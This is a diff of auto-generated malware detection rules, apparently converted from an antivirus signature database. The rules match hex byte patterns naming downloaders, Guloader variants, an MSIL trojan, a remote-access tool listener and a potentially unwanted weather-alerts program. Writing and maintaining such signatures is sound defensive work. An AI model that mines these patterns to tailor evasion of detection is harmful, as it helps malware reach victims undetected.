>=1 } -rule _InfrastructureShared_12075{ +rule _InfrastructureShared_12872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -133993,7 +142999,7 @@ rule _InfrastructureShared_12075{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12076{ +rule _InfrastructureShared_12873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -134003,7 +143009,7 @@ rule _InfrastructureShared_12076{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_12077{ +rule _InfrastructureShared_12874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -134014,7 +143020,7 @@ rule _InfrastructureShared_12077{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28279) >=1 } -rule _InfrastructureShared_12078{ +rule _InfrastructureShared_12875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -134026,7 +143032,7 @@ rule _InfrastructureShared_12078{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*12849+(#a_61_2 & 1)*384) >=1 } -rule _InfrastructureShared_12079{ +rule _InfrastructureShared_12876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -134038,7 +143044,7 @@ rule _InfrastructureShared_12079{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*26212+(#a_34_2 & 1)*384) >=1 } -rule _InfrastructureShared_12080{ +rule _InfrastructureShared_12877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -134054,7 +143060,7 @@ rule _InfrastructureShared_12080{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*656+(#a_61_2 & 1)*14849+(#a_00_3 & 1)*0+(#a_23_4 & 1)*2+(#a_64_5 & 1)*16686+(#a_25_6 & 1)*8254) >=1 } -rule _InfrastructureShared_12081{ +rule _InfrastructureShared_12878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -134065,7 +143071,7 @@ rule _InfrastructureShared_12081{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*338) >=2 } -rule _InfrastructureShared_12082{ +rule _InfrastructureShared_12879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -134076,7 +143082,7 @@ rule _InfrastructureShared_12082{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617) >=2 } -rule _InfrastructureShared_12083{ +rule _InfrastructureShared_12880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -134087,7 +143093,7 @@ rule _InfrastructureShared_12083{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*68) >=2 } -rule _InfrastructureShared_12084{ +rule _InfrastructureShared_12881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -134097,7 +143103,7 @@ rule _InfrastructureShared_12084{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12085{ +rule _InfrastructureShared_12882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -134108,7 +143114,7 @@ rule _InfrastructureShared_12085{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*0) >=2 } -rule _InfrastructureShared_12086{ +rule _InfrastructureShared_12883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -134118,7 +143124,7 @@ rule _InfrastructureShared_12086{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12087{ +rule _InfrastructureShared_12884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -134128,7 +143134,7 @@ rule _InfrastructureShared_12087{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12088{ +rule _InfrastructureShared_12885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -134139,7 +143145,7 @@ rule _InfrastructureShared_12088{ ((#a_4c_0 & 1)*21539+(#a_04_1 & 1)*-16128) >=2 } -rule _InfrastructureShared_12089{ +rule _InfrastructureShared_12886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -134151,7 +143157,7 @@ rule _InfrastructureShared_12089{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29810+(#a_61_2 & 1)*24420) >=2 } -rule _InfrastructureShared_12090{ +rule _InfrastructureShared_12887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -134163,7 +143169,7 @@ rule _InfrastructureShared_12090{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*31277+(#a_0e_2 & 1)*-28651) >=2 } -rule _InfrastructureShared_12091{ +rule _InfrastructureShared_12888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -134175,7 +143181,7 @@ rule _InfrastructureShared_12091{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*12851+(#a_43_2 & 1)*16191) >=2 } -rule _InfrastructureShared_12092{ +rule _InfrastructureShared_12889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -134186,7 +143192,7 @@ rule _InfrastructureShared_12092{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*116) >=2 } -rule _InfrastructureShared_12093{ +rule _InfrastructureShared_12890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -134197,7 +143203,7 @@ rule _InfrastructureShared_12093{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28540) >=2 } -rule _InfrastructureShared_12094{ +rule _InfrastructureShared_12891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -134209,7 +143215,7 @@ rule _InfrastructureShared_12094{ ((#a_77_0 & 1)*19491+(#a_65_1 & 1)*30575+(#a_00_2 & 1)*46) >=2 } -rule _InfrastructureShared_12095{ +rule _InfrastructureShared_12892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -134222,7 +143228,7 @@ rule _InfrastructureShared_12095{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841+(#a_19_2 & 1)*26228+(#a_45_3 & 1)*2240) >=2 } -rule _InfrastructureShared_12096{ +rule _InfrastructureShared_12893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -134234,7 +143240,7 @@ rule _InfrastructureShared_12096{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*120+(#a_7c_2 & 1)*257) >=3 } -rule _InfrastructureShared_12097{ +rule _InfrastructureShared_12894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -134245,7 +143251,7 @@ rule _InfrastructureShared_12097{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*25710) >=3 } -rule _InfrastructureShared_12098{ +rule _InfrastructureShared_12895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -134257,7 +143263,7 @@ rule _InfrastructureShared_12098{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*79+(#a_54_2 & 1)*8497) >=3 } -rule _InfrastructureShared_12099{ +rule _InfrastructureShared_12896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -134269,7 +143275,7 @@ rule _InfrastructureShared_12099{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28521+(#a_77_2 & 1)*25601) >=3 } -rule _InfrastructureShared_12100{ +rule _InfrastructureShared_12897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -134281,7 +143287,7 @@ rule _InfrastructureShared_12100{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*116+(#a_00_3 & 1)*29269) >=3 } -rule _InfrastructureShared_12101{ +rule _InfrastructureShared_12898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -134293,7 +143299,7 @@ rule _InfrastructureShared_12101{ ((#a_54_0 & 1)*18467+(#a_61_2 & 1)*29550+(#a_54_4 & 1)*26946) >=3 } -rule _InfrastructureShared_12102{ +rule _InfrastructureShared_12899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -134305,7 +143311,7 @@ rule _InfrastructureShared_12102{ ((#a_41_0 & 1)*20515+(#a_65_1 & 1)*29295+(#a_00_3 & 1)*61) >=3 } -rule _InfrastructureShared_12103{ +rule _InfrastructureShared_12900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -134317,7 +143323,7 @@ rule _InfrastructureShared_12103{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_12104{ +rule _InfrastructureShared_12901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -134329,7 +143335,7 @@ rule _InfrastructureShared_12104{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*110+(#a_00_3 & 1)*21581) >=4 } -rule _InfrastructureShared_12105{ +rule _InfrastructureShared_12902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -134341,19 +143347,32 @@ rule _InfrastructureShared_12105{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*46+(#a_6c_2 & 1)*30575) >=4 } -rule _InfrastructureShared_12106{ +rule _InfrastructureShared_12903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 42 61 6e 6c 6f 61 64 2e 5a 45 4f 21 42 00 01 00 26 01 41 00 64 00 6f 00 62 00 65 00 20 00 46 00 6c 00 61 00 73 00 68 00 20 00 50 00 6c 00 61 00 79 00 65 00 72 00 00 00 01 00 18 } //18467 - $a_00_2 = {65 00 67 00 61 00 6e 00 64 00 6f 00 2e 00 00 00 01 00 1a 01 43 00 4f 00 4d 00 50 00 55 00 54 00 45 00 52 00 4e 00 41 00 4d 00 45 00 00 00 01 00 12 01 55 00 53 00 45 00 52 00 4e 00 41 00 4d 00 45 00 00 00 00 00 78 ae 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 42 4b 31 32 33 21 4d 54 42 00 } //114 - $a_81_3 = {73 74 69 6c 6b 75 6e 73 74 6e 65 72 6e 65 73 2e 65 78 65 } //1 stilkunstnernes.exe + $a_00_2 = {65 00 67 00 61 00 6e 00 64 00 6f 00 2e 00 00 00 01 00 1a 01 43 00 4f 00 4d 00 50 00 55 00 54 00 45 00 52 00 4e 00 41 00 4d 00 45 00 00 00 01 00 12 01 55 00 53 00 45 00 52 00 4e 00 41 00 4d 00 45 00 00 00 00 00 78 ae 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 54 30 31 21 4d 54 42 00 01 00 } //114 + $a_63_3 = {69 } //-32488 i condition: - ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*114+(#a_81_3 & 1)*1) >=4 + ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*114+(#a_63_3 & 1)*-32488) >=4 } -rule _InfrastructureShared_12107{ +rule _InfrastructureShared_12904{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 54 30 31 21 4d 54 42 00 01 00 18 81 01 63 6c 69 71 75 65 79 20 65 6c 65 6b 74 72 6f 6e 73 70 69 6c 6c 65 74 73 01 00 1e 81 01 63 6f 70 61 6c 20 74 72 6c 61 73 74 65 72 6e 65 20 6d 75 6c 74 69 70 } //18467 + $a_72_1 = {74 79 01 00 23 81 01 73 75 70 72 61 6e 61 74 75 72 61 6c 69 73 74 69 73 6b 65 20 61 67 74 65 72 73 70 65 6a 6c 65 2e 65 78 65 01 00 19 81 01 76 72 61 67 72 65 73 74 65 72 6e 65 20 69 6e 64 74 72 64 65 6e 65 72 6e 65 00 00 78 ae 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f } //27759 + $a_6f_2 = {64 65 72 2e 4b 42 42 4b 31 32 33 21 4d 54 42 00 01 00 13 81 01 73 74 69 6c 6b 75 6e 73 74 6e 65 72 6e 65 73 2e 65 78 65 01 00 1e 81 01 72 65 63 61 70 73 20 62 72 6e 65 67 6c 61 64 65 73 20 72 65 61 6b 74 69 6f 6e 65 72 6e 65 01 00 22 81 01 66 65 6c 6f 6e 73 65 74 74 65 72 20 6b 6f 6d 6d 65 6e 74 65 72 65 6e 64 65 73 20 69 } //30023 + $a_6e_3 = {79 01 00 1d 81 01 73 74 6f 70 66 6f 64 72 65 6e 64 65 73 20 68 6f 73 20 73 6d 61 61 70 65 6e 67 65 6e 65 00 00 78 ae 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 49 4f 31 32 33 21 4d 54 42 00 01 00 1b 81 01 72 61 72 65 66 61 63 74 69 6f 6e } //27763 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*27759+(#a_6f_2 & 1)*30023+(#a_6e_3 & 1)*27763) >=4 + +} +rule _InfrastructureShared_12905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -134366,7 +143385,7 @@ rule _InfrastructureShared_12107{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_21_2 & 1)*12849+(#a_00_3 & 1)*29541) >=4 } -rule _InfrastructureShared_12108{ +rule _InfrastructureShared_12906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -134379,7 +143398,7 @@ rule _InfrastructureShared_12108{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29296+(#a_4d_2 & 1)*13106+(#a_6e_3 & 1)*27649) >=4 } -rule _InfrastructureShared_12109{ +rule _InfrastructureShared_12907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -134387,25 +143406,40 @@ rule _InfrastructureShared_12109{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4b 4d 31 32 33 21 4d 54 42 00 01 00 16 81 01 6b 6f 6d 6d 61 6e 64 6f 73 74 72 65 6e 67 20 74 77 69 6e 6b 6c 79 01 00 23 81 01 6c 75 6e 67 66 6c 6f 77 65 72 20 63 6f 63 6b 70 69 74 20 6c 61 6e 64 } //18467 $a_74_1 = {65 72 65 74 74 65 6e 01 00 1a 81 01 72 65 61 63 74 75 61 6c 69 7a 61 74 69 6f 6e 73 20 6b 6c 61 73 6b 65 6e 65 73 01 00 1d 81 01 6b 6f 72 61 6e 69 63 20 75 6e 73 74 65 72 69 6c 65 20 73 65 6b 73 6b 61 6e 74 65 6e 73 00 00 78 ae 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f } //27507 $a_6f_2 = {64 65 72 2e 4b 4d 4e 46 31 32 33 21 4d 54 42 00 01 00 27 81 01 73 65 72 62 6f 70 68 6f 62 65 20 6a 6f 6d 73 76 69 6b 69 6e 67 65 6e 20 69 6e 66 69 6b 73 66 6f 72 6d 65 72 6e 65 73 01 00 15 81 01 61 6e 6e 75 6c 6c 61 74 69 6f 6e 73 20 6b 6e 75 63 6b 6c 65 64 01 00 1a 81 01 75 70 61 73 73 65 6c 69 67 68 65 64 73 20 74 72 75 } //30023 - $a_72_3 = {64 65 72 65 01 00 1a 81 01 6c 6f 6e 67 6f 62 61 72 64 65 72 73 20 72 65 75 74 69 6c 69 7a 61 74 69 6f 6e 00 00 78 ae 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 65 64 79 2e 4e 54 21 4d 54 42 00 03 00 26 01 73 54 00 00 0a 6f 55 00 00 0a 00 28 1b 00 00 06 11 05 7b 13 } //29555 + $a_72_3 = {64 65 72 65 01 00 1a 81 01 6c 6f 6e 67 6f 62 61 72 64 65 72 73 20 72 65 75 74 69 6c 69 7a 61 74 69 6f 6e 00 00 78 ae 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 57 65 61 74 68 65 72 41 6c 65 72 74 73 2e 4b 53 37 30 00 01 00 17 80 01 53 65 76 65 72 65 57 65 61 74 68 65 72 41 } //29555 condition: ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27507+(#a_6f_2 & 1)*30023+(#a_72_3 & 1)*29555) >=4 } -rule _InfrastructureShared_12110{ +rule _InfrastructureShared_12908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4e 46 31 32 33 21 4d 54 42 00 01 00 27 81 01 73 65 72 62 6f 70 68 6f 62 65 20 6a 6f 6d 73 76 69 6b 69 6e 67 65 6e 20 69 6e 66 69 6b 73 66 6f 72 6d 65 72 6e 65 73 01 00 15 81 01 61 6e 6e 75 6c 6c } //18467 - $a_6f_1 = {73 20 6b 6e 75 63 6b 6c 65 64 01 00 1a 81 01 75 70 61 73 73 65 6c 69 67 68 65 64 73 20 74 72 75 73 73 65 72 65 64 65 72 65 01 00 1a 81 01 6c 6f 6e 67 6f 62 61 72 64 65 72 73 20 72 65 75 74 69 6c 69 7a 61 74 69 6f 6e 00 00 78 ae 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 65 64 } //29793 - $a_54_2 = {4d 54 42 00 03 00 26 01 73 54 00 00 0a 6f 55 00 00 0a 00 28 1b 00 00 06 11 05 7b 13 00 00 04 6f 51 00 00 0a 6f 26 00 00 06 6f 1d 00 00 06 01 00 28 01 45 74 65 72 6e 61 6c 52 41 54 5f 4c 69 73 74 65 6e 65 72 2e 50 72 6f 70 65 72 74 69 } //11897 - $a_52_3 = {73 6f 75 72 63 65 73 01 00 2e 01 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 5c 00 73 00 63 00 72 00 65 00 65 00 6e 00 73 00 68 00 6f } //29541 潳牵散ų⸀刁攀最椀猀琀爀礀尀猀挀爀攀攀渀猀栀漀 + $a_6f_1 = {73 20 6b 6e 75 63 6b 6c 65 64 01 00 1a 81 01 75 70 61 73 73 65 6c 69 67 68 65 64 73 20 74 72 75 73 73 65 72 65 64 65 72 65 01 00 1a 81 01 6c 6f 6e 67 6f 62 61 72 64 65 72 73 20 72 65 75 74 69 6c 69 7a 61 74 69 6f 6e 00 00 78 ae 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 57 65 61 74 68 } //29793 + $a_6c_2 = {72 74 73 2e 4b 53 37 30 00 01 00 17 80 01 53 65 76 65 72 65 57 65 61 74 68 65 72 41 6c 65 72 74 73 2e 65 78 65 01 00 13 80 01 53 65 76 65 72 65 57 65 61 74 68 65 72 41 6c 65 72 74 73 01 00 0e 80 } //29285 + $a_63_3 = {65 63 6b 57 65 61 74 68 65 72 01 00 16 80 01 53 65 76 65 72 65 57 65 61 74 68 65 72 41 6c 65 72 74 73 41 70 70 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 ae 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 } //20993 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29793+(#a_54_2 & 1)*11897+(#a_52_3 & 1)*29541) >=4 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29793+(#a_6c_2 & 1)*29285+(#a_63_3 & 1)*20993) >=4 } -rule _InfrastructureShared_12111{ +rule _InfrastructureShared_12909{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 57 65 61 74 68 65 72 41 6c 65 72 74 73 2e 4b 53 37 30 00 01 00 17 80 01 53 65 76 65 72 65 57 65 61 74 68 65 72 41 6c 65 72 74 73 2e 65 78 65 01 00 13 80 01 53 65 76 65 72 65 57 65 61 74 68 65 72 41 } //16675 + $a_74_1 = {01 00 0e 80 01 52 65 63 68 65 63 6b 57 65 61 74 68 65 72 01 00 16 80 01 53 65 76 65 72 65 57 65 61 74 68 65 72 41 6c 65 72 74 73 41 70 70 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 ae 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 65 64 79 2e } //25964 + $a_4d_2 = {42 00 03 00 26 01 73 54 00 00 0a 6f 55 00 00 0a 00 28 1b 00 00 06 11 05 7b 13 00 00 04 6f 51 00 00 } //21582 + $a_00_3 = {00 06 6f 1d 00 00 06 01 00 28 01 45 74 65 72 6e 61 6c 52 41 54 5f 4c 69 73 74 65 6e 65 72 2e 50 72 6f 70 65 72 74 } //28426 + $a_2e_4 = {65 73 6f 75 72 63 65 73 01 00 2e 01 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 5c 00 73 00 63 00 72 00 65 00 65 00 6e 00 73 00 68 00 6f 00 74 00 2e 00 70 00 6e 00 67 00 00 00 78 ae 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 31 31 21 4d 54 42 00 01 00 28 81 } //25961 + $a_6c_5 = {65 63 74 6f 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 09 01 08 20 00 02 01 00 fe 04 13 01 00 25 81 01 24 32 37 66 31 32 63 34 39 2d 64 30 32 61 2d 34 31 36 39 2d 39 62 30 34 2d 38 32 39 61 33 66 39 } //17153 + condition: + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25964+(#a_4d_2 & 1)*21582+(#a_00_3 & 1)*28426+(#a_2e_4 & 1)*25961+(#a_6c_5 & 1)*17153) >=4 + +} +rule _InfrastructureShared_12910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -134417,7 +143451,7 @@ rule _InfrastructureShared_12111{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*17665+(#a_65_2 & 1)*16687) >=5 } -rule _InfrastructureShared_12112{ +rule _InfrastructureShared_12911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -134430,7 +143464,7 @@ rule _InfrastructureShared_12112{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*385+(#a_33_2 & 1)*26169+(#a_62_4 & 1)*27649) >=5 } -rule _InfrastructureShared_12113{ +rule _InfrastructureShared_12912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -134444,7 +143478,7 @@ rule _InfrastructureShared_12113{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*5888+(#a_61_2 & 1)*29291+(#a_65_3 & 1)*25972+(#a_61_4 & 1)*8293) >=5 } -rule _InfrastructureShared_12114{ +rule _InfrastructureShared_12913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -134458,7 +143492,7 @@ rule _InfrastructureShared_12114{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24929+(#a_65_2 & 1)*24943+(#a_01_3 & 1)*25968+(#a_74_4 & 1)*28531) >=5 } -rule _InfrastructureShared_12115{ +rule _InfrastructureShared_12914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -134471,7 +143505,7 @@ rule _InfrastructureShared_12115{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*24948+(#a_76_3 & 1)*23553+(#a_6f_4 & 1)*26740) >=5 } -rule _InfrastructureShared_12116{ +rule _InfrastructureShared_12915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -134483,7 +143517,7 @@ rule _InfrastructureShared_12116{ ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*28161+(#a_72_3 & 1)*12082) >=5 } -rule _InfrastructureShared_12117{ +rule _InfrastructureShared_12916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -134497,7 +143531,7 @@ rule _InfrastructureShared_12117{ ((#a_46_0 & 1)*16675+(#a_61_2 & 1)*29251+(#a_2f_3 & 1)*13166+(#a_01_4 & 1)*25652+(#a_65_5 & 1)*24942) >=5 } -rule _InfrastructureShared_12118{ +rule _InfrastructureShared_12917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -134511,7 +143545,7 @@ rule _InfrastructureShared_12118{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*31080+(#a_41_2 & 1)*8448+(#a_6f_3 & 1)*384+(#a_2f_4 & 1)*19538) >=6 } -rule _InfrastructureShared_12119{ +rule _InfrastructureShared_12918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -134525,7 +143559,7 @@ rule _InfrastructureShared_12119{ ((#a_46_0 & 1)*16675+(#a_65_2 & 1)*384+(#a_4c_3 & 1)*21860+(#a_6e_4 & 1)*28751+(#a_53_5 & 1)*8448) >=6 } -rule _InfrastructureShared_12120{ +rule _InfrastructureShared_12919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -134541,7 +143575,7 @@ rule _InfrastructureShared_12120{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28500+(#a_52_2 & 1)*12851+(#a_64_3 & 1)*25345+(#a_55_4 & 1)*14918+(#a_61_5 & 1)*384+(#a_00_6 & 1)*7) >=6 } -rule _InfrastructureShared_12121{ +rule _InfrastructureShared_12920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -134559,7 +143593,7 @@ rule _InfrastructureShared_12121{ ((#a_46_0 & 1)*21283+(#a_5f_1 & 1)*28003+(#a_6e_2 & 1)*22330+(#a_70_3 & 1)*21505+(#a_63_4 & 1)*1792+(#a_2e_5 & 1)*12140+(#a_00_6 & 1)*52+(#a_6e_7 & 1)*22275+(#a_63_8 & 1)*27714) >=6 } -rule _InfrastructureShared_12122{ +rule _InfrastructureShared_12921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -134574,7 +143608,7 @@ rule _InfrastructureShared_12122{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*25390+(#a_2f_2 & 1)*13166+(#a_65_3 & 1)*24944+(#a_72_4 & 1)*14930+(#a_81_5 & 1)*1) >=7 } -rule _InfrastructureShared_12123{ +rule _InfrastructureShared_12922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -134590,7 +143624,7 @@ rule _InfrastructureShared_12123{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_03_4 & 1)*1+(#a_ae_5 & 1)*0+(#a_65_6 & 1)*17153) >=7 } -rule _InfrastructureShared_12124{ +rule _InfrastructureShared_12923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ 